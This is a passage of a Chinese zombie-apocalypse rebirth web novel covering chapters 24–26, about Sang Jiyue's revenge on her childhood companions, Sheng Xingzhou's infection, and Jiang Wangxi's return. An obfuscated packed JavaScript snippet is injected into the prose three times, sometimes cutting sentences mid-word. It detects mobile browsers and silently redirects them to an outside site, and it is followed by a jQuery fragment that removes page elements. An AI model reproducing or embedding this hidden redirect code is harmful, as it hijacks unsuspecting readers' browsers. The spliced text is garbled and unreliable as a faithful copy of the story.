这话让桑淮倏的暴怒。 “你做了什么?!” 桑寄月不会无故放矢,她会这么说,只能说明她已经做了什么。 桑寄月终于开心的笑了:“还能做什么,我把他挖出来,剁碎了喂给野狗,要不要我送你去陪你那个酒驾犯父亲啊——” 话音未落,暗紫色的雷电倏的砸向桑寄月。 桑寄月早有防备,侧身闪躲。 一击不成,桑淮正要再度出手,殷乔死死地抓住了桑淮,她说:“阿月不会这样做的。” 桑淮的呼吸粗重,双眸赤红。 殷乔几乎是恳求开口:“阿月——” 桑寄月冷哼了一声,竟是没有再说什么刺激桑淮的话了。 殷乔单薄的身影立在他们的中间,她看着四周一张张熟悉的面孔,一时浑身发冷:“我们明明从小一起长大,为什么会变成今天这样呢?” “阿月很好说话,可你们总爱误会她,她的脾气也很好,大多数时候我们都能很好的相处不是吗?” “可是你、你们——” 殷乔的目光在林洛安、叶临身上掠过,最终落在了桑淮的身上,殷乔唇角颤抖:“你们都在欺负她,包括你,桑淮,可是桑淮,你有什么资格欺负阿月?当年那段行车记录仪的影像,曦哥也给我看过——我都知道。” “你不愿意低头,但我想替你弥补阿月,可是你又做了什么?临哥说想为你出头,你就当不知道他们要对阿月做什么吗?如果阿月没有觉醒异能,如果没有盛学长,她会怎么样?” 殷乔简直不敢想。 桑淮不想因为桑寄月去和殷乔争吵,但此时已经无法避免,他也难以理解:“乔乔,桑寄月是想杀我,我也该让她杀吗?” 殷乔心中的天平已经断开,她的目光不断在桑淮与桑寄月身上逡巡,满目茫然。 桑寄月瞥了眼又置身事外的叶临,将他带进战圈:“叶临,作壁上观,祸水东引,你还有什么好手段?怎么不用来救救许致远呢?” ——方才他们在争论的,分明是叶临和林洛安。 听见许致 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骂不骂,结果都是一样的。 她会永远像鬼一样的缠着他们,往后她的每一次因他们而造成的死局,她都会一一奉还,直到像他们把她耗空一样耗空他们,她坚信这就是重生的意义。 盛星舟觉得他们的关系非常畸形:“你们能凑到一起,似乎完全是因为……殷乔?” 桑寄月颔首:“是呢,乔乔人很好,我从小除了哥哥,就只喜欢和她玩。” “哪个哥哥?” “江望曦,你不认识。” 盛星舟并没有将桑寄月口中的这位哥哥放在心上,毕竟桑寄月那么多哥哥,他早见怪不怪了。 他的注意力全在主角团的关系上。 “我还以为他们一起长大,叶临和林洛安的感情会很好。” 桑寄月高深莫测的摇了摇脑袋:“当然不是,叶临和桑淮玩,林洛安和乔乔玩,但他们两私下里可没什么交情,当然了——他们以后的交情会很深,毕竟这是一个危险的世界,身边的伙伴是唯一可以信赖的人。” 只不过现在末世才开始没多久,所有人都有自己的小心思,使点手段让他们心生龃龉,不是什么难事。 就比如说刚才。 盛星舟似乎明白了一些。 他又想到桑寄月,现在看来桑寄月上辈子待在主角团,很大的原因也是因为殷乔从中斡旋。 殷乔是他们所有人关系的枢纽,她太想让他们和睦共处了,但一段勉强的关系中,势必会有一方要忍气吞声。 从前是桑寄月,以后就不一定了。 桑寄月的心情真的超级好,她哼着轻快的旋律,看着不断倒退的风景,开心的说:“你今天做得很好。” “我也觉得,如果不是我,你就满脸泥水了。” “我是说——”抵达目的地,桑寄月踩下刹车,笑容满脸:“你把那只丧尸扔向林洛安,做得很好。” 24. 目睹 盛星舟没想到他难得做一次坏事还被抓包了,他摸了摸鼻尖,不太自在:“你都看到啦。” “没有。”桑寄月解开安全带,脚步轻快的跳下车,乌黑的眼珠子转了一圈,促狭的说道:“但我感觉那只丧尸未免来得太巧合了一些,而只有你和我是一条战线的,所以肯定是你。” 盛星舟很惊讶的夸赞她:“这你都猜出来了,太聪明了,月姐。” 趁着盛星舟弯腰出副驾驶的时候,桑寄月亲昵的拍了拍他的脑袋,然后开心的跑跳上楼。 无论是飞扬的发丝,还是轻快的步伐,无一不透露出她的好心情。 盛星舟不自觉的挠了挠被她拍过的头顶,似乎有些怔愣。他垂在身侧的手,仍在很轻微的颤抖着。 他明白,关于桑寄月的复仇,这只是开始。 他不会再成为拖累了。 …… 盛星舟本以为殷乔他们回来之后,林洛安叶临或者是桑淮,一定会继续来找桑寄月的麻烦,但出乎意料的是,他们仍像往常一样,楼上楼下,相安无事。 畸形的关系并未因为那一场几乎撕破脸的争吵而破裂? 殷乔仍如同往常一样偶尔会上楼来找桑寄月说说话,眼眶仍是红的,但情绪还算平稳;往常都会与殷乔一起来的林洛清,则是与桑寄月疏远了很多,时常一个人安静的待着,很是孤僻。 这样的日子本不该持续太久,他们本来就打算收集完这一波物资就出发前往幸存者基地的,但末世天气多变,又是一场连绵的暴雨,阻碍了他们出行。 转眼间又是一个月过去,阴沉沉的天气在这几天好转了很多,再过几天他们就要离开这里了。 只是糟糕的天气让桑寄月又生病了,这几天虽然差不多已经痊愈,但整个人还是病怏怏的,如果她要和他们同行,只怕又有得折腾。 除了盛星舟,所有人都对她经常生病这件事见怪不怪,也没觉得是多么严重的事情,担忧的只有盛星舟一个人……或许还有殷乔。 桑寄月有每天早上一杯热牛奶的习惯,但之前收集的牛奶已经耗空,盛星舟打算今天去远一点的地方找找,不然桑寄月明早就没有牛奶喝了。 盛星舟不忘去找殷乔照顾桑寄月。 殷乔答应得很快,但她叫住了盛星舟,说想和他聊聊。 盛星舟:“我跟你有得聊?” “我想说的就是阿月的事。”殷乔轻声说。 “行。”盛星舟一口应下。 两人去了楼后面的小溪边说话,天空斜斜的飘着细密的雨丝,他们也没有撑伞,身前是被雨丝激起涟漪的水面。 殷乔盯着脚下潮湿的泥土,问盛星舟:“阿月是打算继续和我们同行吗?” “嗯。” 殷乔呢喃:“还是这样……” 盛星舟冷不丁的说:“你们这群人是不是有病。” “你也这样觉得吗?”殷乔笑了笑:“我也觉得,但有病的是我。” 年轻的女孩目光放远,眺望着泛起涟漪的水面:“我们从小就这样,我和他们每个人都是很好的朋友,但我不知道为什么,他们和阿月就是合不来,但因为我的原因,无论最后闹得多厉害,大家也都不会散。” “可其实,所有人都是因为我聚在一起的。” 殷乔絮絮叨叨的说了很多,说的都是末世前他们这群人吵不散的关系。 她说桑寄月讨厌林洛安讨厌叶临讨厌桑淮,他们也讨厌桑寄月。 她说林洛安和叶临也有过龃龉。 她还说桑淮也并不喜欢跟屁虫一样跟着她天天来找桑寄月的林洛清。 殷乔曾以为这些都是无关紧要的小事,直到许致远死后,桑寄月和他们撕破脸,林洛安被刺激得口不择言,在桑寄月离开后,对她说—— “殷乔,你为什么总是这样,觉得所有人都能和你一样没心没肺?” “就是因为你非要把我们凑到一起,否则我早就和致远走了!致远今天也不会死!都是因为你!” “如果你没有留当初要单独离开的叶临,如果你没有让桑寄月和我们待在一起,如果……” 林洛安列举了很多种可能性,唯独没有再提过他们和平的聚在一起。 事后林洛安与殷乔道歉,说她说的都是气话,殷乔也说没有关系,这一次甚至都不需要殷乔再做什么,他们吵过闹过打过之后又平安无事了。 但殷乔终于后知后觉的发现这不正常。 殷乔看向盛星舟,用很轻的声音说:“阿月是因为我留下来的,但我不可能离开阿淮,他们永远都不可能和好,我或许不该再非要他们都能在我身边。” “学长,我知道你喜欢阿月,这段时间你对阿月的照顾我也都看在眼里,我相信你会对她很好很好,阿月和你单独生活一点问题都没有。” 她似乎做出了很艰难的决定:“学长,你可以带阿月走吗?” 远离他们吧。 走得越远越好。 殷乔现在才明白过来,其实一直都在伤害桑寄月的,除了桑淮他们,还有贪心得希望所有朋友都能在她身边的自己。 他们所有人都为桑寄月带来了苦难。 过去是,但殷乔不希望将来也是这样了。 盛星舟自然知道桑寄月要留在这里除了是要报仇以外,还是因为殷乔,前不久他也听桑寄月说过—— 无论是哪边闹矛盾,她都要从中斡旋,也不嫌累,而我们还就吃这一套。 殷乔似乎对团聚有某种执拗。 但她现在似乎可以放手了。 盛星舟问:“如果阿月不跟我走呢?” “我有些不敢将这些话说给阿月听……”殷乔羞愧的垂下了脑袋,但声音是坚定的:“但如果阿月不愿意,我会劝说她的,你放心。” 殷乔希望她最爱的朋友能开始新的生活,不必再与她讨厌的人搅和到一起。 远处的窗台边,桑淮与叶临看见了正在交谈的盛星舟殷乔两人。 很快,他们看见了盛星舟单独离开。 不出意外的话应该是去给桑寄月找牛奶,前几天殷乔还很抱歉的同盛星舟说她这里也没有牛奶了。 桑淮沉声说道:“你确定,那只扑向洛安的丧尸,是盛星舟的手笔吗?” “你还觉得我在挑拨离间?”叶临沉了脸。 当初那只丧尸明显就是被推过去的,那时候没有人发觉不对劲,但事后再复盘,就疑点重重了。 队伍里和他们不对付的只有桑寄月,但桑寄月可没那么大的力气,那就只剩下盛星舟了,谁不知道她是桑寄月那个坏丫头的走狗。 桑淮显然也想到了这一点,他摇了摇头。 叶临冷声说道:“致远的死我也很意外,如果早知道会是这样的结果,我当初一定会提前出手,但现在事情已经成了定局,我们能做的,也只有给致远报仇,就算是给洛安一个交代。” 他们的目光落在一旁静默的坐着的林洛安身上一瞬。 桑淮想起他们这群人的关系就觉得头疼,但叶临的话也没有说错,他道:“致远怎么死的,我就要盛星舟怎么死!” 桑淮很快离开。 窗外忽然传来了“轰隆”声,叶临往外看去,见远处有好几架直升机飞过,不出意外的话应该是军方,或许是终于来支援海晏区了。 一片嘈杂声中,林洛安的声音响起:“现在桑寄月是一个人待着吗?” “还有乔乔。”叶临回答。 林洛安说:“引开她。” …… 他们之间的矛盾从来都没有化解过。 除了殷乔,他们所有人都心知肚明,所以当殷乔被叶临叫走、叶落安朝着她冲过来的时候,桑寄月毫不意外。 毕竟许致远死了,这件事似乎还没有人为此付出代价。 上辈子死的是林洛清,林洛安也恨不得杀了她,但被殷乔拦下,这一次殷乔不在,她们依旧要清算过去的恩怨。 桑寄月要杀了林洛安。 只是林洛安的土盾的确非常棘手,桑寄月一时也破不开她的盾,反而弄得这毛胚房都算不上的烂尾楼里全是泥点子。 两人闹出了很大的动静,桑寄月看着近在咫尺的土刺,正要摸出匕首的时候,殷乔的尖叫声忽然响起:“不要!” 林洛安的手微顿,但桑寄月已经摸出了匕首,破开土刺,眼睛眨也不眨的往林洛安的脖子上捅—— 电光火石间,金刃打飞了她手中的匕首。 桑寄月“啧”了一声:“真可惜。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江望曦隐隐意识到似乎有些奇怪,就听少女沙哑的声音响起:“好久不见?多久呢?你还记得吗?哥哥。” 她似乎是踟躇了许久,憋得声音都沙哑了,才终于开口。 江望曦说:“三年。” 末世第七年,桑寄月在与桑淮的战斗中,失去的不止是她的右手。 还有眼前的男人。 “的确是三年。”她倏的笑了,眼眶泛着红,呢喃着:“是三年……三年……” “小月,我又看见了你的眼泪。”男人干净苍白的指尖落在了她的眼角,带来冰凉的温度。 上辈子他见到桑寄月的时候,她已经是丧尸了,丧尸不会说话,也不会掉眼泪,只是一具会动的尸体。 桑寄月的眼眶是红的,但眼角却是干涩的,她没有哭。 少女低垂了眉眼,拂开他的指尖。 江望曦问她:“要抱抱吗?” 桑寄月沉默的拥抱了他,或许是想起了前世的某些回忆,她的眼神有些空洞。 直到温热的吻落在她的额头。 桑寄月猝然回神。 又觉得不太对劲,偏过头去,看见了不知何时,站在楼梯口的年轻男人。 此时已是傍晚,阴沉的天空透不出绚烂的晚霞,只有无尽的黑暗,在楼梯口投下灰色的阴影。 盛星舟今早出门的时候似乎穿的不是这件外套。 他的脸色看起来也有些苍白,望向她的目光夹杂着几分茫然与脆弱,手臂垂在身侧,骨节分明的五指蜷缩着,轻微颤抖,右手衣袖的颜色似乎是浸了什么液体,变得很深。 这是桑寄月看见的盛星舟。 在她看不见的地方,结实的小臂上,狰狞发黑的牙印连带着那块皮肤都已经开始腐烂,被衣袖遮盖。 ……他怎么了? 在为没有帮她找到牛奶而失落吗? 桑寄月下意识的推开江望曦,但还未来得及有动作,身旁的男人便扣住了她的五指,牵着她朝着盛星舟走去。 25. 拥抱 盛星舟在返程的路上遇见了数量惊人的丧尸,从很远的地方似乎还传来了枪声,惹得那些丧尸越发躁动,纷纷朝着他扑过来。 不过盛星舟对付丧尸的经验也算是丰富了,他杀出一条缺口后正要突围,却被一条骤然亮起的暗紫色电网遮挡了去路。 在那一瞬间,盛星舟看见了远处倒塌的建筑上站着的桑淮,他用冰冷的、仿佛看死人一样的目光瞥了他一眼。 啊,应该是东窗事发了。 盛星舟有些懊恼,更多的是担忧,他们既然会对付他,自然也会对付桑寄月。 由于盛星舟被挡住了出路,四周的丧尸很快重新聚拢,如潮水般将他淹没—— 他曾听见的枪声却由远及近,身着制服的军方人员用强大的火力扫射了丧尸。 丧尸的体魄强悍,如今更是有部分丧尸也获得了异能,便是被子弹射击,只要不是完全被摧毁头部,就不会失去行动能力。 不过军方的出现还是让盛星舟从丧尸堆里捡回了一条命,桑淮不知道什么时候已经离开,盛星舟也躲进了附近的大楼。 手臂上的疼痛后知后觉的传来,鲜血淋漓,他还是被咬了。 那一瞬间盛星舟是有些茫然的,但他还是飞快的简单包扎了一下伤口,换下被咬破的外套,然后就往家的方向跑。 虽然桑淮已经表现出了不友好,这时候他再回去无异于是自投罗网,但桑寄月还在那里,他为她而来,自然不能就这么浑浑噩噩的变成丧尸了。 在他还有理智之前,他想见到她。 那时候已经是傍晚了,却因为阴沉的天气看不见绚烂的晚霞,那幢楼里已经亮起了蜡烛,暖黄的光芒摇曳,竟也透出一分末日里的温暖安宁。 盛星舟没有在上楼的过程中见到任何人,他也很快的看见了桑寄月。 少女侧对着他,张开纤细的双臂,抱住了她面前的那个陌生男人,她的脸颊抵在男人的胸膛,低垂的眉眼看不出什么特别的情绪。 那个陌生男人在下一刻搂住了她,然后亲昵的亲了亲她的额头。 像是很寻常自然的模样,如同相识已久的情人。 ……他谁啊? 或许是因为手臂上开始腐烂的伤口,盛星舟觉得他的头有点疼,眼睛也有点花,使劲的闭了闭眼再睁开时,他们已经手牵着手走到了他面前。 他张了张嘴,似乎是想问什么,声音堵在了嗓子眼里,江望曦的声音先传了过来,只不过对话的对象是桑寄月。 “这段时间你选了他做你的同伴么?” 桑寄月还在打量盛星舟,觉得他苍白得太过明显,听见江望曦的话,她也只“嗯”了声。 江望曦这才扫了一眼盛星舟,又很快收回目光对桑寄月说:“剩下的事还是我帮你处理,你先去找殷乔玩一会儿。” “不需要。”桑寄月抽出手,脸上依旧没什么表情:“我还有事,一会儿说。” 江望曦:“你说得有事是指……” 话音未落,桑寄月便拽着明显不在状态的盛星舟往房间里走去。 江望曦脸上的表情逐渐隐去,变成了极致的冷漠。 他本以为,桑寄月看见他回来,会很开心。 可是她没有。 是谁改变了她? 这并不难猜。 江望曦似乎认定了什么。 …… 房间里。 桑寄月直接掀开了盛星舟的袖子,在看见他手臂上伤口的那一刻,她的神情变得很难看。 虽然她以前是想过盛星舟变成丧尸,但那已经是好久之前的想法了,桑寄月更希望盛星舟永远是盛星舟。 她没有过比他更合乎心意的伙伴。 桑寄月对于丧尸病毒很了解,她用酒精消毒后,在他手臂上缠上了厚厚的绷带,遮住了那块腐烂的伤口,短暂延缓病毒扩散的速度。 桑寄月的速度很快,动作也很娴熟,她一边开口说道:“说吧。” 话虽如此,但结合之前林洛安冲过来,桑寄月心里也差不多有了答案,林洛安和叶临都在,那么对盛星舟下手的就只能是桑淮那个表子。 病毒最先影响了盛星舟的语言功能,如果不是刚才要说话的时候发现他的声音不太对劲,盛星舟可能已经质问江望曦你算哪根葱要处理我。 此时听见桑寄月问他,他憋了半天,才声音沙哑的吐出几个音节:“他、谁?” “谁?” “那个男的啊,你抱他,他亲你。”盛星舟脱口而出。 桑寄月:“……” 她用疑惑的目光看着盛星舟:“你不是穿书吗?不知道他是谁?” 盛星舟心说他怎么可能知道,他又没拿到所有剧本。 “他是江望曦。”桑寄月又说。 盛星舟瞪大了眼。 这个名字他听过不止一遍了,本来以为是活在回忆里的小喽啰,没想到竟然还和桑寄月有感情戏? 那他岂不是要拆官配了! 那他可真是太厉害了! 想归想,盛星舟想起刚才看到的那一幕,还是忍不住说:“你、喜欢、他?” 他又变成了几个字几个字的往外蹦,很显然对于现在的他来说,说话很困难。 桑寄月不太想回答这个问题,但听他磕磕巴巴的开口,她还是说:“喜欢过。” 很喜欢很喜欢很喜欢。 上辈子桑寄月在感染尸毒后才重新见到了江望曦,他们曾在一起待了五年的时间,如盟友,如伙伴,如恋人。 盛星舟:“现在?” 桑寄月皱着眉头摇脑袋,眼睛里的情绪变得很复杂,反正盛星舟看不懂。 “那你、抱他、亲他。”盛星舟接着说道。 桑寄月没想到他翻来覆去都是这些废话,现在的正事难道不是他感染了尸毒而凶手就是桑淮吗? 她的声音冷了下来:“你在质问我吗?” 虽然盛星舟对她告白过,但她明确的拒绝了他,他没有任何立场来干涉她和别的异性的事情。 盛星舟连忙摇头,他张嘴想解释,但这张死嘴也吐不出往日的妙语连珠,最后只能委屈巴巴的说:“对……” 桑寄月的声音难得尖锐:“对?!” “不起。”他补 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她也能清楚的感受到他的体温,始终都是温热的,她很喜欢这种温度,如果能出现在她的被子里,会让她觉得很安稳。 只可惜无论是心跳还是温度,都会在成为丧尸之后彻底消失。 该死的桑淮,毁了她钟爱的东西。 桑寄月不爽的想着。 盛星舟尝试着回拥住她,用她无法挣脱的力道,她也没什么反应,并未排斥。 桑寄月难得仰着脑袋看着他:“你的怀抱也很温暖。” 也比江望曦干净。 她说:“我很喜欢。” 耳畔边的心跳似乎在一瞬之间装上了音响,震得她的耳根都有些发麻。 盛星舟紧张的吞咽了一下,然后尝试着缓缓凑近她—— “你敢碰我,我会缝上你的嘴。” 盛星舟欻的一下松开手,后退两步。 原本被温暖包裹的冰凉躯体骤然冷了下来,桑寄月伸出手,贴了贴他的手背,呢喃道:“我会想办法帮你留住这温度的。” 盛星舟把手藏起来,轻哼了一声。 他似乎是有哪里被惹生气了。 外面适时传来殷乔高兴的、轻快的声音:“阿月,学长,你们在房间里吗?快出来我们一起吃饭啦!” 盛星舟将袖子拉下去,遮盖了已经僵硬的手臂,然后缩到了一边去,显然是不打算出门了。 桑寄月把他拽起来,牵着他往外走,还安抚他:“没事的,不用怕。” 26. 偷听 江望曦为他们带来了好消息。 军方驰援海晏区,他们也可以跟着那几架直升机一起撤退前往幸存者基地,不出意外的话,明早他们就能搭乘直升机,离开这里了。 为了庆祝这个好消息,也为了欢迎江望曦的到来,殷乔开心的张罗着大家在顶楼的露台上撘起了烤架,准备今晚烤肉。 殷乔去叫桑寄月和盛星舟的时候顺便告诉了他们这个好消息,然后又有些局促的说道:“阿月,你和洛安他们的矛盾可以不要闹到曦哥的面前吗?” 桑寄月牵着盛星舟,慢悠悠的往楼上走,声音温和:“当然。” “今晚应该也是我们最后一次聚在一次吃饭了。”殷乔有些怅然若失,然后又很快高兴起来:“曦哥肯定是专门过来找你的,有他在以后再也没有人敢欺负你啦,你知道的,他们都怕曦哥。” 桑寄月不置可否的笑了笑:“毕竟他是我们里最年长的。” “也是最厉害的!”殷乔补充。 盛星舟听着他们对话,越发觉得不安,上楼的步伐都僵硬了许多。 桑寄月快拉不动盛星舟了,她不得不停下来,然后对殷乔说道:“乔乔,你先上去,我和星星哥哥有话要说。” “啊,好的。”殷乔率先离开。 这里距离顶楼的露台还有两层楼梯的距离,光线昏暗的楼梯间中,桑寄月放开了盛星舟的手。 男人靠在墙角,还是闷闷不乐:“我、不想、上去。” 要是被上面那群人发现他感染了尸毒,别说被赶走了,当场被割下脑袋都不是没可能,尤其是明显对他抱有敌意的江望曦。 “我知道你现在很害怕,也很绝望。”桑寄月至今都能记得清楚的意识到自我意识在病毒的游离中逐渐消散时,她的无助与绝望,她说:“我不想你孤单的待在房间里,等待自己成为行尸走肉,别怕,我不会让你出事。” 盛星舟听着有些愤懑:“应该、我、保护、你。” “也可以。”桑寄月答应得很快。 她还以为盛星舟已经被哄好了,便继续拉着他往楼上走,但他还站着不肯动。 盛星舟一个字一个字的往外蹦:“我们、离开、我、保护、你。” 殷乔让他带着桑寄月单独离开的主意让盛星舟很动心,如果可以他仍希望桑寄月能有另一种活法,而不是继续待在那群人的身边,又一次承受无尽的恶意。 可以报仇,但也更应该有自己的生活。 况且说真的,桑寄月去幸存者基地,未必会有待在外面安全,毕竟盛星舟是见过她是如何在丧尸堆里游刃有余的。 最后当然就是他的私心了。 江望曦的出现让盛星舟意识到他并不是原本存在于故事里的人,会和桑寄月有感情纠葛的也不会是他,他已经感染了尸毒,如果桑寄月再跟着江望曦走,他就没有任何机会了。 盛星舟不甘心。 末世之后,明明就是他先找到桑寄月的。 那个时候根本没有江望曦这个人。 江望曦凭什么后来者居上。 盛星舟愤然的想,完全忘记了属于桑寄月和江望曦的故事中原本就没有他,他更像是插足的第三者。 迎着盛星舟期待的目光,桑寄月温和的笑了笑:“盛星舟,我不会去幸存者基地的,我讨厌都是人的地方。” “那、我们、走!”盛星舟黯淡的眸子立马亮了起来。 “现在还不是时候,再等等。” 盛星舟的脸又拉了下来,再等下去他在这里变成丧尸了怎么办。 不过也还好桑寄月可以驱使丧尸,到时候他就认桑寄月当老大,他们也还能像从前一样快乐的在一起。 桑寄月又伸手去拉盛星舟,这小子竟然还敢站在原地不动,她的耐心即将告罄:“你到底走不走?” 盛星舟立刻老实的抬脚迈步跟她上楼。 顶楼的露台地面上还是湿漉漉的,但在暖橙色烛火的映照下也不显脏,烤架已经支了起来,炭火噼里啪啦的燃烧着,烤架上热气腾升,泛着油光的肉滋滋作响,散发着诱人的光泽与香味。 在江望曦看过来之前,桑寄月放开了盛星舟的手,盛星舟去拉她,她已经头也不回的往江望曦走去。 盛星舟:“……” 刚不是还和他好好的吗? 为什么说变脸就变脸了! 盛星舟慢吞吞的走过去,在桑寄月的旁边坐下。 桑淮恰巧就在盛星舟的对面,看见盛星舟,他平静的眸子里划过一丝惊诧,显然是没想到他能从丧尸堆里爬出来。 他的目光不由自主的带上了一丝审视,心中升起怀疑,觉得盛星舟的脸色是不是有些过于苍白了。 盛星舟瞥了桑淮一眼,微微扬起下巴,唇角露出一丝挑衅的弧度。 他们不动声色的交锋着,旁边的桑寄月和江望曦也在说话。 他们说话的声音融入桌上其他人的交谈声中,并不起眼。 桑寄月问他:“你是什么时候回来的?” 她说的是重生回来。 “当时我还在景城。”江望曦温和开口:“醒来的时侯就已经是末世了。” 桑寄月似乎有些惊讶:“叔叔阿姨竟然肯让你来燕城吗?” 上辈子末世爆发的时候,江望曦说过他也曾想来燕城,只是最后还是被留在了景城的研究所中,等到再赶来的时候,他已经完全失去了桑寄月的踪迹,错过了她为人的最后两年。 “在这里有实验要做,他们会同意。” 桑寄月仿佛恍然大悟:“那这段时间,实验成功吗?” “很顺利。”江望曦面带笑容的颔首,摸了摸她乌黑的发顶:“这一次你会不一样的,阿月。” 他是非常成功的医学家,上辈子针对丧尸病毒的研究有过令人赞叹的结果。 桑寄月笑了笑:“那太好了。” 旁边的盛星舟竖起耳朵偷听了半天一句话都没听懂,感觉他们在打哑迷。 他的耳朵听着,手也没闲着,很殷勤帮她夹烤盘上外焦里嫩的烤肉,还会偶尔帮她蘸上辣味的干碟,摆在盘子里。 殷乔好奇的问江望曦:“曦哥,幸存者基地是什么样的呀?” 江望曦声音没什么起伏的同殷乔说幸存者基地和他们平常生活的地方没有什么区别,在那里特们可以像从前一样生活,不会如现在一样朝不保夕,他们在那里会非常安全。 他说着话,目光一直落在桑寄月的脸上,她似乎饿了,正在吃碗里的烤肉,时不时也会去吃蘸了干碟的肉,被辣得脸颊红彤彤的,旁边的男人在给她递水。 江望曦不太赞同的说:“小月,你吃不了辣。” “只是偶尔。” 林洛安面带微笑的开口,仿佛几个小时前兵刃相向的不是她们一样:“曦哥你可别信,她经常偷偷吃辣,还和小时候一样不懂事呢。” “诶?我怎么不知道?”殷乔忍不住开口:“我记得盛学长做菜的口味一直很清淡呀,你别诬陷我们阿月。” 林洛安的目光在桑寄月、江望曦、盛星舟三人的身上打转,不紧不慢的开口:“因为我看到了,盛星舟那天刚拆开一包虎皮鸡爪,就被阿月撞见抢走了。” 盛星舟慢吞吞开口:“偶尔吃吃,会开心,有问题?” “小月的胃很脆弱,忌腥辣刺激,你不该惯着她。”江望曦平静开口。 盛星舟可不记得桑寄月这段时间哪里犯病了。 他还未出声,桑寄月就一副很乖的模样开口了:“知道了,我不吃啦。” 因为桑寄月忽然出声,饭桌上的气氛并未冷场,她没再吃盘子里沾了蘸料的肉,碗里的肉也不怎么动了,盛星舟还在给她夹,她就把碗往他面前一推。 这就是不吃了的意思。 盛星舟往嘴里塞了块肉,美味的肉在此刻感染丧尸病毒的他嘴里索然无味。 江望曦看着他们的动作,表情变得有些微妙。 殷乔这时将脚边的一打啤酒搬上桌,让旁边的桑淮发给大家,她笑着说:“今天可以好好放松放松,我们不醉不归!” 话虽如此,一罐啤酒而已,也不至于喝醉。 一桌人除了盛星舟都是从小就认识的,他们喝着啤酒吃着烤肉,没有闹矛盾的时候倒也其乐融融。 晚餐结束后,他们也不着急散场,露台上燃起了温暖的篝火,他们围绕在篝火旁坐下,畅想着未来,又假设着如果。 假设如果没有末世。 由殷乔开始,逆时针一位一位说下去,殷乔眨巴了下眼睛:“没有末世吗?那我们可能不会再有像今天一样聚在一起的时候。” 甚至包括其实和他们来往并不深的江望曦,他会出现在这里,十有八九是为了桑寄月。 “不过如果没有末世的话,现在我可能又要烦恼期末周了。” 桑淮笑着接话:“或许烦恼前我们会先去枫林山旅游。” 秋季的枫林山红枫漫山遍野,也是燕城的特色之一。 然后是林洛安,她提起了许致远,让气氛变得有些凝滞。 紧接着是林洛清、叶临、然后是盛星舟。 盛星舟想如果没有末世他现在可能也不在这里,而是在满世界潇洒乱玩。 还好末世来了,他穿了。 遇见了阿月,嘿嘿。 当然,这话是不能说出来的,他提前打了腹稿,尽可能让自己的语言流畅一些:“我可能会,继续尝试认识阿月。” 他这话一出口,在场的所有人都下意识的看向江望曦,神情似乎都很古怪。 盛星舟:“……?” 好好好江望曦一出来所有人都把他们当一对了是吗? 叶临冷不丁的开口:“如果没有末世,你也没机会认识小月,我记得你已经被景城大学录取了吧?” 桑寄月六月份高考结束,还没来得及好好享受漫长的暑假,就倒霉的迎来了末世。 桑寄月似乎有些恍惚,于她来说,他们说的六月份,已经过去了十年,她仔细的回想了一下,颔首:“是呢,如果没有末世,我会去景城读大学。” 然后彻底的远离他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102454|178966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们。 等她毕业回来,再来继承家产,一个子都不会给那对父子留。 盛星舟:“为什么,是景城?” 林洛安嗤笑了一声:“还能为什么,当然是因为曦哥在景城啊。” 殷乔敏锐的发现林洛安今晚在有意无意的将话题往桑寄月、江望曦、盛星舟三人身上引,像是在拱火。 谁都明白他们仨是怎么回事。 为了避免桑寄月为难,殷乔连忙转移话题:“各位,已经很晚啦,该休息了。” 他们面前的篝火也将要燃尽,露天的露台有秋风吹来,带来了一丝寒意。 盛星舟在等桑寄月和他一起离开,但桑寄月没理他,和江望曦去了露台边说话。 因为今夜的所见所闻,他意识到所有人都知道他们是什么关系,而他似乎只是一个外来者。 强烈的不安笼罩着盛星舟,他垂着脑袋往楼下走,却在门后驻足,他们交谈的声音也随之飘到了他耳朵里—— “哥哥,你真的要让桑淮他们去幸存者基地吗?”桑寄月的声线一如既往的柔软,说话时似乎还透着一丝若有若无的依赖:“你知道的,我讨厌他们。” 私下里他们说话就没那么晦涩难懂了,江望曦用平静又温和的声音说道:“提前把他们控制住不好吗?桑淮未必再会有那么好运,我会帮你。” “你还要继续帮我吗?”桑寄月凑近他,用很低的声音对他说:“你没有看到最后,可能不知道三年之后我终于把他们都杀掉了哦,尤其是桑淮,我把他大卸八块,丢去喂了异兽。” 她轻微的声音透着一丝得意。 江望曦深蓝色的眼眸凝视着她,似乎蕴藏着某种情绪:“后来呢?” “后来?后来我太累了晕倒了,然后就重生了。” 江望曦摸了摸她的脑袋,笑着说:“这是你最后的记忆吗?那很好。” “你最后的记忆是什么?”桑寄月轻声问:“是我被砍掉了一只手臂么。” 她说的是江望曦在三年前临死之前看到的画面。 他沉默了一瞬,说道:“我看着你的脸,恍惚间就来到了这里。” “三年前吗?”桑寄月问他时间。 江望曦“嗯”了一声。 桑寄月面上的笑容没变,垂在身侧藏在袖子里的手指却攥紧了。 他们压低了声音,盛星舟根本没听见他们在说什么悄悄话,这里又没别人,还非得贴着耳朵讲话吗? 他有些着急,但桑寄月显然是不想聊下去了,往他的方向走来。 盛星舟刚要跑,忽然听见江望曦叫住了桑寄月。 桑寄月停住脚步,看向江望曦。 “小月,光顾着说之前的事情了,我还未问候过你。”男人语调温和:“你这段时间过得好吗?” “挺好的。” 江望曦打量着面前的少女,他回忆着六月份的桑寄月,又想着两年后的桑寄月,无论末世前后,和此刻的她相比,似乎都不太一样。 